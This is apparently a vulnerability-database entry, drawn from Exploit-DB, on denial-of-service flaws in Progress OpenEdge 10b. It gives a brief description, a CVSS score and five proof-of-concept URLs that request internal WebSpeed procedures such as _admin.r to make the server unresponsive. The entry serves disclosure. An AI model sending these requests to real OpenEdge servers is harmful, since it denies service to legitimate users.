OpenEdge Denial-of-Service Vulnerabilities

vendor:

OpenEdge

by:

Unknown

7.5

CVSS

HIGH

Denial-of-Service

CWE

Product Name: OpenEdge

Affected Version From: OpenEdge 10b

Affected Version To: Unknown

Patch Exists: No

Related CWE:

CPE: a:progress:openedge

Metasploit:

Other Scripts:

Platforms Tested:

Unknown

OpenEdge Denial-of-Service Vulnerabilities

OpenEdge is prone to multiple denial-of-service vulnerabilities because it fails to properly sanitize user-supplied input. Successful exploits can allow attackers to cause the application to become unresponsive, denying service to legitimate users.

Mitigation:

Unknown

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/23926/info

OpenEdge is prone to multiple denial-of-service vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits can allow attackers to cause the application to become unresponsive, denying service to legitimate users.

This issue affects OpenEdge 10b; other versions may also be vulnerable. 

http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/dict.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_help.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_dict.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_comp.r
http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_admin.r